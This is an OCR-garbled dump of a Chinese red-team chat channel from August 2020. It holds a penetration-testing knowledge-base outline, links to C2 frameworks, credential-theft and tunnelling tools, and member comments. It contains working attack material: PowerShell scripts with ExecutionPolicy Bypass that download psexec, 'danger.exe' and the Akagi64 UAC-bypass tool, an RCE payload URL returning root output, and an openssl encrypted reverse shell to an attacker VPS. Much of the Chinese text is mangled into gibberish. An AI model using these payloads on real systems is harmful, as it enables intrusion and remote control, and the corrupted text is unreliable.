echo $client.DownloadFile ($targetlocation, "psexec.exe”) >> script.psl
powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script.psl

echo $client New-Object System.Net.WebClient > script2.psl

echo $targetlocation = "™ >> script2.psl
echo $client.DownloadFile ($targetlocation, "danger.exe”) >> script2.psl
powershell.exe —-ExecutionPolicy Bypass -NonInteractive -File script2.psl

echo $client New-Object System.Net.WebClient > script2.psl
echo $targetlocation oy " >> script3.psl

echo $client.DownloadFile ($targetlocation, "Akagi64. >> script3.psl

powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script3.psl

¥R [RR] TR TARZRE edr ZHIZRA,
Wing: T{EEEKRE

#EREF: okok

L: ZHEREET [BFX]

RedTeaming - 2020-08-05

#LTAFRIG#
-8 BERKE
1.1 ENAM
1.2 XEXMERER
1.3 FRUREIER
1.4 FHRIEIRIER (OSINT)
1.5 Github Hacking
1.6 Google Hacking
1.7 Git-all-secret
1.8 Mailsniper.ps1 $REXoutlook i EBX R A
1.9 ANSEZERIKE
1.10 EBBERREZWMICTHLHAE
1.1 ARERE R0
BB TRHNAR
2.1 HMNEREEAWIFI
2.1.1 T4 LR N Fl 2 DNSSPOOF . Evilportal, DWall A& ZEANE
2.2 NRRGREFA
221 BRIRBEE
2.2.1.1 impackertE42 ZmssqlRZ 23 L 20 E



2.2.1.2 ms17_010 pyBil 25! A

2.2.2 REFElRE

2.2.2.1 jpossAKIZIX

2.2.3 R IEHATIRE

2.2.3.1 java THIEFIZ AL IAT

2.2.3.2 shiroRFHIEHE

2.2.3.3 RMIRF L

2.2.3.4 JNDEEA

2.2.3.5 fastjson®A& T

2.2.3.6 cve-2019-11043 PHPRBIR BT EH
2.2.3.7 JAVA webshell M TEINIRRT I -EEE
2.2.3.8 R HFxmIdecoder

2.2.3.9 fastjson R F It 2 F

2.2.3.10 oracle#iBEL LB E ZxmIRF L

2.2.3.11 webshell FZ£EXHITH L

2.2.3.12 java FxxeiRiE

2.2.3.13 solr velocity Rz 2A I3 E MU K FAER
2.2.3.14 solr-rce-via-velocity-template

2.2.3.15 JAVA webshell MAIEI SRR ZI2-BA3IH1 Z bypass £
2.2.3.16 JAVA webshell MAITEINIRRFI3-IBEXIH1 2 bypassHifa
2.2.3.17 JAVA webshell M ITEINSRRFI4-KBE 331 2 bypass T
2.2.3.18 javaRF I FERR

2.2.3.19 apache solr A L2 HinfZ BT RIS T A RIMX RMIFIE 4
2.2.3.20 javam LHAT/ VAT

2.2.3.21 JDKRFftgadets-7u21

2.2.3.22 weblogic-t3-cve-2019-2890-analysis
2.2.3.23 spring-boot-actuatorsk iZAURE

2.2.3.24 semcms2.6 G AX 4 LERREIT

2.2.3.25 {E3E 1T ZIvyecmsf5 & getshell

2.2.3.26 log3j-unserialize-analysis

2.2.3.27 javafR F {¢-fastjsonZB {4

2.2.4 WAF-BYPASS

2.2.5 BFIFOJSHIRINZEST

2.2.6 XMLDECODER#RZ

2.2.7 | FAPHPmyadmin Zget shell

2.2.8 WHIJWTH—L AR

2.2.9 HERHE

2.2.10 ENIRE

2.2.10.1 SENRE

2.2.10.2 mssqlFI R4

2.2.10.3 I iEmssql-powerUPSQLN 4R

2.2.10.4 QiR mysql 245 RIRE

2.2.10.5 hibernate EAEN

2.2.10.6 mysqlFl/F general_logfile. show_query_logfile 5 XX
2.2.10.7 9D Z-sql server SEN getshell

2.2.11 XHZEURIE

2.2.12 pentesterlab xss

2.2.13 offcie TRHIEAFI A

2.2.14 java-security-calendar-2019-candy-cane
2.2.15 discuz ssrf RCE SBEH RS

2.2.16 wordpress &5 XA BHRITRED TIRES
2.2.17 struts2 JnF2an L MATs2-048 M DR S
2.2.18 5 %FRphp—aiE (IDE, 9D, T2%)
2.2.19 ERMMERRALEIPUAE

2.2.20 apache-poi-xxe-analysis



2.2.21 i — R B FE fixssiliz LA K 551 WAF B 3
2.2.22 classloaderZ Nl

2.2.23 & ikssriRIE A K FI B

2.2.24 spring-data-commons(cve-2018-1273)
2.2.25 xsstRII B EIHKERHN A E
2.2.26 mysqli4X Zmof

2.2.27 mysqli£4 Zudf

2.2.28 xssEF ]

2.2.29 javafz 51 A K A TEshell iR —E T jetty B 22 0shell 4
2.2.30 #/FHdnsloglal 2

2.2.31 XHERM/BERRDER

2.2.32 udfig#y

24 H2TRE

2.4.1 Kin¥iH

2.4.2 BXKEH

2.4.2.1 swaks-#p ¢ fhis

2.4.2.2 BRHEORIERL IR AR

243 HERE

2431 YRBR

2.4.3.1.1 FiEEHIFRE

2.4.3.2 FRERA

2.4.3.3 word X H-mRHIGHE

2.2.5 appBBEFBADITAE

2.2.6 linux ~ 5#shelldn <

2.2.7 browser pivot for chrome

F=E 5% (c&c)

3.1 httpB#EABPTTS

3.2 HTTPRZ &Eregeorg

3.3 httpf#i&tunna

3.4 httpp&i&reduh

3.58F ptunnel E3Ticmphi&

3.6 {@HanydeskfiEiz

3.7 BN E IR E

3.8 att&ckIBAHIE A R-HiTH

3.9 powershell

3.9.1 F|FAB60IEN A HTpowershell -4
2.9.2 *Fpowershel 32 284

2.9.3 invoke-obfuscationf1 43

BENE FBESELR

4.1 frpAMZFIBELE

4.2 EFportiwd IO A&

4.3 venom-RI2HE K . ZRFIE

4.4 DNSRiE

4.4.1 DNS[%i& 2 DNS TCP

4.4.2 DNSP%JE 2 DNSCAT

4.4.3 {EFIDNSIHY _EZMSF ZlodineiE
4.4.4 {EFADNSHMY_E£MSF 2 DNSCATE
4.4.5 {EFADNSHMY_E4MSFZDNS TCP &
ERE REERKE

5.1 AHE RIS

5.1.1 AEBIRAIENK SRS EIME R FTH DNSEETIC R
5.1.2 FIELARSHEEHE

5.1.2.1 ATFEEAE-RENAtbhash

5.1.2.2 EEEKFIEHE

5.1.2.3 EEEIKFIRHEE (4)



5.1.2.4 SPNAHISFA

5.1.2.5 BHELBE-RREERE

5.1.3 AP IR

5.1.3.1 MEMXHHRHIERIEEE—F

5.1.4 SREVHBI RSB AP A TR 5T 2R 203
5.1.5 windows2003 SREYZH3 Z adsutil.vbs
5.1.6 f#Z BRI ERIRTFAIRDPIEILE

5.1.7 hashcath§ fiZhash{i231£ A2

5.1.8 & securecrt® P in P IR1ZAIZ IBhash
5.1.9 fEwinscpE P inRIRFHIZ Bhash
5.1.10 ik f#weblogcific & X {4 RV EUR E S
5.1.11 SREUFI/ RGBS

5.2 MEEEUE

5.2.1 RYLEW webBZFHRERE—F
5.2.2 EFSCFHYBTAMEREEE _F
5.2 3 HIIMRERIRE

5.2.3.1 active dircetory domain services $XEUFIZ(E B
5.2.3.2 windowsld815-F3 P A3 HE
5.2.3.3 TEE FEDNSIEREEWE S E
5.2.3.4 impackettE42 2 155 B3KEX

5.2.3.5 F{FRIKE Zuser sid

5.2.4 TIEHIMBEREE

5.2.41 2 FMSFRUANEEENE —F
5.2.4.2 BEFMSFRUAMEEENE S
5.2.4.3 ETMSFRUAMFEENE=ZF
5.2.4.4 B2 FMSFRUAMEFEENELE
5.2.4.5 BEFMSFRIAMEEENERST
5.2.4.6 ETMSFRIAMFEENERZT
5.2.4.7 EFsqldatasourceEnumerator &I AMZiEEAN
5.2.4.8 EFICMP & HIAMFEEEMN

5.2.4.9 EFARPRHAMEEEN

5.2.4.10 EFUDP A HAMTZEE

5.2.4 11 EFsnmp L HAMEEEN

5.2.4.12 EFnetbios K MMM TZE £
5.2.4.13 powershell—&@m <L HTRMITHE
5.2.4.14 AM{ERIKE 2 WM

BRE BRIEF

6.1 IRIFRGANR

6.1.1 linux

6.1.1.1 linuxi2AUKHiexpha

6.1.2 sudoiffi@ D #(cve-2019-14287)

6.1.1.3 linux$2AZ AAZIRA

6.1.2 windows

6.1.2.1 windwosi2iX IR i®exp

6.1.2.2 tokenZ3 EXF0FI A

6.1.2.3 cve-2019-1388 windows uaciZ i
FEE RER

7.1 BIERGE]

7.1.1 linux

7.1.2 windows

7.1.2.1 AR KERIER N ELRERE—F
7.1.2.2 A windowsIF R I H B4

7.1.2.3 windows rid&h#5F

7.1.2.4 shiftBUGE ISR TMTUA

7.1.2.5 windowsAR FR4E 15 - E A R 4 AR



7.1.2.6 windowstX PR 5 2- 11 RIMESS LY
7.1.2.7 windowstX fR4:+5 7 3- R S5 service 44X
7.2 B=FHEHE

7.3 APTXH (
7.4 APTIHA
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7.12 linuxiX BR4EFF 2 LD_PRELOAD

7.13 linuxi¥ PREEFF Z HFEN

7.14 windwstXBR4E$F 2 office )5

B\E AMBIEEM

8.1 kerberrosty
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8.2 NTLM

8.2.1 NTLM A R HASHATIER

8.3 M@ L1TIBIBEIL
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DR SE IR

SRR E=IR
TR EbU S U

9.1.11 BSEEABPREERIR
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9.1.13 payload ) B R B

9.1.14 EF LK fsmall payload I 5 —Z
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9.1.17 BRRARZmsflRHE
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9.1.20 RARARZ EACEHmeterprterIiEE
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FTERETAHF

10.1 impacketEf4 Z inf2 s L NITINEE R

10.2 bloodhoundf AR i#&

10.3 windows 10 B EBkalitfEE—F

10.4 5crackmapexec &Rt
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10.5 meterprter FSIbiREE—F

10.6 EFE+if#hFEpayload(—)

10.7 EFF iR Fpayload(Z)
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10.9 HIE R EE-csvde TR

10.10 xssZbeeft#gs

10.11 pstoolsiffi (ZFEMITHLSIERHESLE)
10.12 netcat{E A 24
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11.15 BEF H & EforfilesfiTpayloadsE+HZE
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#Burpiit#
shiro[x FFItBurpEXBI R (FERFPREFEbUgHIEM) , FIECEwingMEZ BIR AR HshirofIBurpiF R, AKIRSBBEME,
GitHub+-+0x141/ShiroRce-Burp

RedTeaming - 2020-08-05

BARHBIXTRIAFERNXE

http://feedproxy.google.com/~r/SecurityBloggersNet...

Wing: #87/nEXH

RedTeaming - 2020-08-05

2/ wmic #{TERILE

for /f "delims=" %% A in ('dir /s/b % WINDIR%\system32*htable.xsl') do set "var=%% A"

wmic process get CSName,Description,ExecutablePath,Processld /format:"% var%" >> out.html

wmic service get Caption,Name,PathName,ServiceType,Started,StartMode,StartName /format:"% var%" >> out.html

wmic USERACCOUNT list full /format:"% var%" >> out.html

wmic group list full /format:"% var%" >> out.html

wmic nicconfig where IPEnabled="true' get Caption,DefaultlPGateway,Description,DHCPEnabled,DHCPServer,IPAddress,|IPSubnet, MACAddress /format:"% var%" >> out.html
wmic volume get Label,DevicelD,DriveLetter,FileSystem,Capacity,FreeSpace /format:"% var%" >> out.html

wmic netuse list full /format:"% var%" >> out.html

wmic gfe get Caption,Description,HotFixID,InstalledOn /format:"% var%" >> out.html

wmic startup get Caption,Command,Location,User /format:"% var%" >> out.html

wmic PRODUCT get Description,InstallDate,InstallLocation,PackageCache,Vendor,Version /format:" % var%" >> out.html

wmic os get name,version,InstallDate,LastBootUpTime,LocalDateTime,Manufacturer,RegisteredUser,ServicePackMajorVersion,SystemDirectory /format:" % var%" >> out.html
wmic Timezone get DaylightName,Description,StandardName /format:" % var%" >> out.html
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https://github.com/0x141/ShiroRce-Burp
http://feedproxy.google.com/%7Er/SecurityBloggersNetwork/%7E3/3937O87cO10/

#MacTips#
itterm2EEBNARLTFRER, FERERERK.
WfElititerm2+ EE A EIENIFH? +-+F0F
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#C2#
GitHub+-+sysdream/chashell:+Chashell+is+a+Go+rever...
FIFIDNS#TE(E, HWHAEEJBAZ3RPhishing,

RedTeaming - 2020-08-05

#C2#
SharpC2
T—SENEMERT, FELEFRF, NEERERT . BEREAMEFinEEteamserverf IR R ERE . BXBIMERTUAMETEES, WLe—T.

GitHub+-+SharpC2/SharpC2:+.NET+C2+Framework+Proof+...

RedTeaming - 2020-08-05

#AWBIEH#
XfEblogift T AtokentIFIA AR, TEKM RiFRrunasflincognito, HMAIIFFEARHR T, XBRIEE! | THIEE—), tsonEIZIE,
https://blog.cobaltstrike.com/2015/12/16/windows-a...

z3rQyu: X4 diao 13, B—TF%—T

RedTeaming - 2020-08-05

#ARSES H#E TR
Bypass|T{EREHIEIC & boe
GitHub+-+Bypass007/Learn-security-from-0:+ \OFFIE R L L, ...


https://www.zhihu.com/question/51622732
https://github.com/sysdream/chashell
https://github.com/SharpC2/SharpC2
https://blog.cobaltstrike.com/2015/12/16/windows-access-tokens-and-alternate-credentials/
https://github.com/Bypass007/Learn-security-from-0

Bypass007 / Learn-security-from-0

Pull requests ») Actions

' master ~ Go to file Add file ~ s w

. Bypass update 16 6 hours ago

01-V update
02-{CE Wit Update
3 Update

04-88 8 Update

£ Update Releases

06-NHPE update
Update

Update

Update

10-18 B 5 Update

README.md update

RedTeaming - 2020-08-06

RAZBESIMI— T REFNBLEIMI —LEX TR, NSRERARGEBENT —TEE, ATHRET TEERTEN, (FAFHRNEpsTERIFN

Unprotect+Project


https://search.unprotect.it/map

T
LINFR dE=CT

[PROIECT]

Anti-Debugging Antl-Disassembly Anti-Forensic Anti-Monitoring

Antivirus Evasion Data Obfuscation Morphism Network Evasion

Others Packers Process Manipulating Sandbox Evasion

()
LINFR GELT

[PROJECT]

Bypassing Static Heuristic

By looking the structure of the PE and the content of the file, the engine is able to detect if the file is malicious or not. Some AV can
be easily fool by analysing it. For example, an heuristic engine can try to figure out if a file are using a dual extension (e.g:
Invoice.doc.exe) and determine the file as being malicious.

Resources

Wing: Nice

RedTeaming - 2020-08-06

#redteam#
Checkpoint& i R IFIRAESR



Anti-Debug+Tricks
BAK iR £ 45) T B ShowStopper
GitHub+-+CheckPointSW/showstopper:+ShowStopper+is+...

RedTeaming - 2020-08-07

#Burpifft#
ShiroScan
RIEEARASZEMEE
https://github.com/Daybr4ak/ShiroScan/releases/dow...

RedTeaming - 2020-08-07

#RW B EH#

RIBEENERM.

Termite 2R ZBImERAIIMRew, BREHIRD, RAMIEBRELE.
GitHub+-+ph4ntonn/Stowaway:+¥g/Stowaway+--+Multi-hop...

XANT AR

- EEMIROER

- TERER, ZERENERT, RIEDRAE
- AESHIZE(E

- socksf{EE, WOE&, U LIETHZINEE
R

LEEMAET, THR. 1Bk


https://anti-debug.checkpoint.com/
https://github.com/CheckPointSW/showstopper
https://github.com/Daybr4ak/ShiroScan/releases/download/0.4/ShiroScan.jar
https://github.com/ph4ntonn/Stowaway

(admin) >> use 2
(node 2) >> help

help Show He
listen [port]

addnote [string]

delnote

) [ip:port] [username] [pass]

shell

socks [lport] [username] [pass]

connect [ip:port]

sshtunnel [ip:sshport] [agent port]

stopsocks

up load [filename]

download [filename]

forward [rport] [ip:port]

stopforward

reflect [rport] [lport]

stopreflect Shut do
exit Back to

(node 2) >> pwd
[*]I1legal command, enter help to get available commands
(node 2) >>

z3rQyu: XNIEEMIERE?
Wing: go BEMERRIE., BEI/LAA ew B5MH. BARNERBEREAR.
z3rQyu: JAHAF venom WA ZEERiEE, XDEREIR

RedTeaming - 2020-08-07

#RW 5 15EH#
RIBERNERNY,
Termite 2R ZRImERAIIMRew, BREHRD, RAMIEBRELE.

XTI AN

- EEnis0Em

- BaAMER, SEREBOBRT, REDRKE
- AESHNZ &5

- socksfti, ROk, X LETHEINEE
3=

LEEMAET, EHEl. Bk


https://github.com/ph4ntonn/Stowaway

(admin) >> use 2
(node 2) >> help

help Show He
listen [port]

addnote [string]

delnote

) [ip:port] [username] [pass]

shell

socks [lport] [username] [pass]

connect [ip:port]

sshtunnel [ip:sshport] [agent port]

stopsocks

up load [filename]

download [filename]

forward [rport] [ip:port]

stopforward

reflect [rport] [lport]

stopreflect Shut do
exit Back to

(node 2) >> pwd
[*]I1legal command, enter help to get available commands
(node 2) >>

z3rQyu: XNIEEMIERE?
Wing: go BEMERRIE., BEI/LAA ew B5MH. BARNERBEREAR.
z3rQyu: JAHAF venom WA ZEERiEE, XDEREIR

RedTeaming - 2020-08-07

Msf6

RedTeaming - 2020-08-08

HLIPAR SR EI R H#
Red Team Scripts by dOnkeys (ex SnadoTeam)

RedTeaming - 2020-08-09

#HEETE#
MacH %2 JDK1.8F1JDK 11 WARAFHEE L%, MM E LAEAEBurpSuite MacOSXRHHR, B AKZEMinstal4iiT 8, FLAMETUNLR., RESEFER,

export JAVA_8_HOME="(/usr/libezec/javarome — v1.8) "< br > exportJAV A;1gOME ="(/ust/libexec/java_home -v 11)"


https://github.com/rapid7/metasploit-framework
https://github.com/d0nkeys/redteam

alias jdk8='export JAVA?HOME:| JAVA_8_HOME'<br>alias jdk11="'export JAVA_HOME= |.JAVA71 1_HOME!
export JAVA_HOME=$JAVA_8_HOME

TEh: EBZE+-+BIEOPE
MacH &R JDK1.8F1JDK11 IR AFHAEE )% +-+Pykk2019+-+EE
‘sne

Burp Suite Professional v2020.8 - Temporary Project - Wing

A Use a different browser
Use Burp's embedded browser

Using Burp Proxy Burp Proxy options Burp Proxy documentation

z3rQyu: E—HRH jenv {I#%ZhZA Java

RedTeaming - 2020-08-09

#BIERRIGH
BENE P IRE +fastison+{E AR A SHI 5%
RedTeaming - 2020-08-10

#CSTips#
4. 0451
cs_custom_404/4.0+at+master+-+Ridter/cs_custom_404...

RedTeaming - 2020-08-11
Wing B2 IFK]IFRX]

REE


https://www.fahai.org/
https://www.cnblogs.com/PyKK2019/p/10587897.html
https://mp.weixin.qq.com/s/o_YjL7il3xlRJIWm0ptGXg
https://github.com/Ridter/cs_custom_404/tree/master/4.0

HRE: FIRERRS A, RBHET [FX]
L: BEXT, REITEE. B—OEHRR
HREF: MOKETRZE

RedTeaming - 2020-08-11

#estmfH#
GitHub+-+pandasec888/taowu-cobalt-strike+at+englis...

RedTeaming - 2020-08-11

#CTips#
K FpdbX HHREFNENSE

Definitive+Dossier+of+Devilish+Debug+Details+-+Par...

- % #Debug

RedTeaming - 2020-08-12

#Tool#
BloodHoundi¥ /A2
L2 |BloodHound+{EfER

RedTeaming - 2020-08-12

#PEEH


https://github.com/pandasec888/taowu-cobalt-strike/tree/english
https://www.fireeye.com/blog/threat-research/2019/08/definitive-dossier-of-devilish-debug-details-part-one-pdb-paths-malware.html
https://mp.weixin.qq.com/s/dBWq1rCZYVS9oDgIGwcCdA

RRPHENES

§#¥E%: https://pan.baidu.com/s/1k8X07IGzYL-uRnrLBIVefQ 12EXF3: ¢3Zf

Wing: AENHITIE, BRAUMNBEXNEWESS), SWHERE,
B : HAFGE [Emm]

RedTeaming - 2020-08-12

#RRH
PEzonX N TR, RAMREFN, IRT FEEMNBAIRIRB. IREZdonut shellcode, RIFIEREER]—LEH, WREFWAIMUBEL. EINEKai THE, keystoneMIREEXFEHXIETT.

EIMEYE: mac FRIFERT, R donut £ mac FEBEITAT . . .
Wing: M, [#F5][4F5€] [4F5<]
MBS XMEEEELE cs AR beacon.exe 13, ENHIEIE [A1%]

RedTeaming - 2020-08-15

#RedTeam#
— 1 BCitR&MCobaltStriketB X EFLE, €5 TBOFER
1. —# 5 B A fHRedTeamIf B AR & EIH)—LE X FCobaltStrike NEEHI X E
2. BAIM_E#IAggressor ScriptfR 22, AZMBRNRSMERBEN TR, MARPRTHTAN, UETESENTHMBINELEE, E—P—MIHE
3. XTI MBOFRIRIES
4. FRRERHIHER T EI S 1Eaggressor scriptal EBOFAY[a]RR
5. NRBArepolZ B RNMARNE, YUARIRIZpr
6. WA ZR Kstar
4§44 GitHub+-+zerOyu/Awesome-CobaltStrike:+cobaltstrike...

RedTeaming - 2020-08-16
=t AILXBEEENIE? 2F13? T2, & H-/2'W
RedTeaming - 2020-08-16
BlackHat#JC2 FafiiN R

GitHub+-+SixGenlInc/Noctilucent:+Using+TLS+1.3+to+e...

Wing: JZME....

lengyi: J&ESEIUT

Wing: HELET,

Wing: BEEERT, &MIN, ER%GHAE cs 7.

RedTeaming - 2020-08-16

#Poc-Exp#

HWRHIHIFL&:BIAO0A+0dayig Bl


https://pan.baidu.com/s/1k8XO7lGzYL-uRnrLBIVefQ
https://github.com/zer0yu/Awesome-CobaltStrike
https://github.com/SixGenInc/Noctilucent
https://mp.weixin.qq.com/s/9w3-xJPaUFFPkJSQrtOTnw

-1 R—R—1H
Wing: [HWRIE9ELE : @AOA+QdayiBE W _EEHAR](http://www.hackdig.com/08/hack-111538.htm)

RedTeaming - 2020-08-17
YOLEM, rustELERATS, MERXEFT, BENNNEESIE, HEINKEES. . .

https://zerosumO0x0.blogspot.com/2020/08/sassykitdi...

RedTeaming - 2020-08-17

#CTips#
BvVMP?
GitHub+-+can1357/NoVmp:+A+static+devirtualizer+for...

RedTeaming - 2020-08-17

RAGHD

WebSphere+ini2{{i8H11TRECVE-2020-4450
Payload:

https://10.251.251.251/tool/log/c.php?strip_slashes=system&host=1id

€' view-sourcechttps//10.251 x €' htps//10.251.251.251 00

@ « CcC o0 A Notsecure | 10.251.251.251/tool/log/c. php?strip_slashesssystem&host=id
Log Helper

KNI F A

Host : uid=0(r001) gid=0{root) Groups=0(fonk) CON - sest, #.9. 127.0.0.1

Poth : POth regex, e.9; wapreduce
Row row regex, €.0. \sivjel\s
Limit: 1000 top n, e.g. 100

Subemt

De

FUMER  Fllagent ( windows / linux)

RedTeaming - 2020-08-18

#Poc-Exp#
BHBE—T
SR(SAREDR RCE AND J&iAO0A iR

RedTeaming - 2020-08-18

uid=0(root) gid=0{root) groups=0(ront) context=system_w:system_r:system_cronjob_t:s0-50:¢0.c1023


https://zerosum0x0.blogspot.com/2020/08/sassykitdi-kernel-mode-tcp-sockets.html?m=1
https://github.com/can1357/NoVmp
https://mp.weixin.qq.com/s/cG8onNoNsYWGZNQdp1XI3Q

#Poc-Exp#
ENEF—T
AEAREDR RCE AND J&IAOA 7 £ ifwE

RedTeaming - 2020-08-18

#Poc-Exp#
Ant DesignB&E &3, Start Coding.

https://preview.pro.ant.design/dashboard/monitor

VuehRF1Reacth

RedTeaming - 2020-08-18
HIRRE S H
RN ERIRRI A B — R i R [ 58 shell— E E AN B[R SR (MR HREK]
Linux T I PR 435 +|+Wing+|+RedTeamer
B8
7EVPS LARK SSL B ATHAEART:

X N J

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

- -
VPS &0 3% shell:
o000

openssl s_server -quiet -key key.pem -cert cert.pem -port 443

W
|l
T W

N N

mkfifo /tmp/wing;/bin/bash -i < /tmp/wing 2>&1 lopenssl s_client -quiet -connect 1.1.

$%{8shell

Wing: Bt

HERE: BEM, MEELFEPREE openssl

YRS BYE, —BRUMAE [IF%X]

z3rOyu: WHBIAEEM? QUERXIFFRETFEIRIE? MREHIFZENE

RedTeaming - 2020-08-19


https://preview.pro.ant.design/dashboard/monitor
https://evilwing.me/2020/03/04/linux-xia-de-quan-xian-wei-chi/#toc-heading-14

#RAT A FARTE B ERNERYFRI5#

CSDN#&ZUILTEN

(function(){

("#side").remove();<br> (" #comment_title, # comment_list, #comment_bar, # comment_form, .announce, #ad_cen, # ad_bot").remove();
(".nav_top_2011, ‘#header, # navigator").remove();<br> |(".p4course7target, .comment-box, .recommend-box, #csdn-toolbar, # tool-box").remove();
(" aside "). remove(); < br >(".tool-box").remove();

(" main "). css("display’, content’); < br >("main").css('float','left');

window.print();

$("tool-box").remove();

N0

RedTeaming - 2020-08-19

#Nday#
JBIAOA RCE [OA V11.6]

RedTeaming - 2020-08-19

BB
—Z i< push burpiEBEELLES, TR FIRIES.

# Security+Chops+|+/dev/random+-+One+Liner+For+Insta...

#

curl --proxy http://127.0.0.1:8080 -o cacert.der http://burp/cert <br>&& openssl x509 -inform DER -in
cacert.der -out cacert.pem <br>&& cp cacert.der

(openssl x509 -inform PEM -subject_hash_old -in cacert.pem |head -1).0 \<br>&& adb root \<br>&& adb remount \<br>&& adk
(openssl x509 -inform PEM -subject_hash_old -in cacert.pem |head -1).0 /sdcard/ <br>&& echo -n "mv
/sdcard/

(openssl x509 -inform PEM -subject_hash_old -in cacert.pem |head -1).0 /system/etc/security/cacerts/" | adb shell \<br>&& ec
(openssl x509 -inform PEM -subject_hash_old -in cacert.pem |head -1).0" | adb shell <br>&& echo -n
"reboot" | adb shell <br>&& rm $(openssl x509 -inform PEM -subject_hash_old -in cacert.pem |head -1).0
<br>&& rm cacert.pem <br>&& rm cacert.der

https://gist.github.com/vavkamil/ad5ddbeec4685c6bc...
RedTeaming - 2020-08-20

#R R ER#


https://securitychops.com/2019/08/31/dev/random/one-liner-to-install-burp-cacert-into-android.html
http://127.0.0.1:8080/
https://gist.github.com/vavkamil/ad5ddbeec4685c6bca271063d0c95054

IDA{ERIE 5 2072 _ S ¥ aIC1IE| % BEICTFEL SR > T A ctH I BLIISEEH| MR F MR TR LRE. .

[IDAZF2101- A FH A FE IDARGE [6- HIBTPESC {4 2321 B 26401, ETE N B +-+17bd...

RedTeaming - 2020-08-20

#EBERRI#
BEGLTERTESABN/IEE
RedTeaming - 2020-08-21

#LTBAFRIG#
BT Win32Apitl i F Demo

Backdoorplz/AddUser.cpp+at+master+-+jfmaes/Backdoo...

RedTeaming - 2020-08-21

HA S F#
BER— - AP NBEE XN IHEE

BBEER - — AP OTRATTERY
RedTeaming - 2020-08-21

#ms O FAIINREH
* ¥YATHAE Bl3EMeterpreteriB{E A9UH ZI i HN 2R
* SMBV3E i< 5
* Windows Shellcodef95 i 2 SBRETERM

#ms FoFTAIexp#
* Documalis JPEGZE H[X 5%
* Docker{5 sk ie
* Nimsoft 7.80 -wetwOrkfYiFe 4 ): X i it - CVE-2020-8012

#IESRINAEH
* RSN\ OpenVASHIEFIREHR], RO ECVELBIDAIRE

FEEx86Hx64 A IWindows B X A Ei R fEh A .

CNINT BRI, DMINDEIES AN BMAEZSREEEER, HEMCKNSHERHFBlock APIZIRIVES, ZIEL

* MetasploitXfRailsH{k il M4.2. 6 B FZI 75.2

* H— R S PSEXEC 1581 /R IARCH_CMD B #1&llexploit/windows/smb/psexect&iR #17 Fauxiliary/admin/smb/psexec_command
* BT SMBRRAITHEIELR, BRT ENIRMERSGE R, ZIERMET RS E N ZIFOSMBIRA, SMBIEIES S, SMB 3.1.1MNEMESINGE, RES2FMGUIDEMURIRSREBN., XtIEFAsmbl Fsmb2i&iR
* K, KIS MRIIMimikatz Meterpreterfi &3E <, Mimikatzi B & LB 2KiwilIRH, BEE—BRNERNITENEESEE,

AR PR P FRT BRI TIE TR, %post/windows/gather/credentials/ssof&iRth 17 7 E5, LAMERKiwiftEMimikatz,

" WEBT AR EAMetasploitiy R SIDLLENBEN FIHE—F SHBHRA B TETNINEE. XEERATNANBRENARABERRMFFHERR, RAERINFETLENE. ERNEXRS EMiTERellectiveLoader&fRiReflective DLLEIERE .

*HETLVANEE S F5PythonfIMeterpreterfiz, BHAEBREMSIERHITERE.

* RN T W EFIRRIEAISMBYIXES, IE, BAEAIMSMBEFIRIVERIGEESEZFIRFMAESMSMB v3HE (3.0, 3.0.2, 3.1.1) HIARSE. MRNEF TSMB 3xAE, MEIMTHRNSRSFBESEHTMNE ., BFRIBEILESMB

AlwaysEncryptig & FfalsesREEFA L INEE .

* B ARMETLVINZEMeterpreterit 2 £ Z# HIDERE XM AR E T XAMWPEMIE N EHMIRSARE, XERAE/\, EHTLIE, HMRT 525K BEGIN PUBLIC KEYZER/F &8,

* Sharphound&IRETAIN


https://www.xuenixiang.com/thread-99-1-1.html
https://www.cnblogs.com/17bdw/p/12239505.html
https://mp.weixin.qq.com/s/pz6y8299gMUOgtZjZv5puw
https://github.com/jfmaes/Backdoorplz/blob/master/EXE/AddUser.cpp
https://mp.weixin.qq.com/s/e-oJZAPBswObNDvGctAHwg

PR #13194)\h00dieiR & B ARERSFF, BIAIMNT:

SfSharphound v3#9E #t

S T exe B NMIZFIEITENINEE, HFARME, Etbps1ES SR,
FBEBURINZIEncryptZip, ZRAER FIRE true, XAGEINT —LERIF, HRBHBEEDTR
A MNoSaveCachelE IR LAB R IE X E N FHISERBEME L

BRERSH (MREMNZRIME) , XSFEBCTIDL (MRELEBNGL) KAREE.

* Xftools / dev / check_external_scripts.roi#47 7 B8, MEEHEMSJohnTheRipperflsqmaptBXiISIfE. X siFtools / dev / check_external_scripts.rbfg{#FiE 5 JohnTheRipperflsqimaptE x FEFES & X4 & FHIRIE.

#EIRIEEH

EET —MMRIRER THEIR, ZERVESERAKAEEERTERREEMZSRIER, HEHKEEpostgresf# T E2HEURIE ANl XEESINBITRIE 2 RIEIERSHE

* EE#H R finesystem.ro X FFNIRMR . AT, BATIEREZOMATIEERKARRR.

* (88 FR BB R BT E R AV RS E RV EER; DART, B MRIRFTAJavahR AR EJ LAS 15256 1%, (ERELRIBMIIMETIASIFZINEE. MRRI2JavahR AT A NE2561L, MITELEALRINAES-128-CBCEATLVINZ M AN TER 5 &
SeRBERE:

Metasploit+Wrap-Up

Metasploit+6+Now+Under+Active+Development

RedTeaming - 2020-08-23

#AMBIELASE#
GitHub+-+b4rtik/SharpKatz:+Porting+of+mimikatz+sek...

BN AR

RedTeaming - 2020-08-24

BIERIG
Windows F4%iddisable_function
TOOLS+|+{RAKER+-+BILILE

RedTeaming - 2020-08-24

#REEAM#
75— K ReactlI 2, KRS HHIRE 2.
https://www.bilibili.com/video/av413129060?p=4

—FHARZRAVue SRR EMAEL JFFEMA T VuehR A thiRIFA, B 5 #ZReact INF F—IK.

RedTeaming - 2020-08-25

#AWSIE T BE#
patch termsrv.dll
ER: TR RIE
R R BEWIN10
GitHub+-+infosecn1nja/SharpDoor:+SharpDoor+is+alte...


https://blog.rapid7.com/2020/08/07/metasploit-wrap-up-76/
https://blog.rapid7.com/2020/08/06/metasploit-6-now-under-active-development/
https://github.com/b4rtik/SharpKatz
https://www.bilibili.com/video/av413129060?p=4
https://github.com/infosecn1nja/SharpDoor
https://www.t00ls.net/thread-57591-1-1.html

RedTeaming - 2020-08-26

#IERAFERE#
Active+Defense+Matrix

RedTeaming - 2020-08-26

#Android#
Usage+CN+-+refate/frider+Wiki+-+GitHub

HE B A SREE
Start frida-server
o fde - serys
v frida-seever in LAN mode (TODOY

Pid

RedTeaming - 2020-08-26

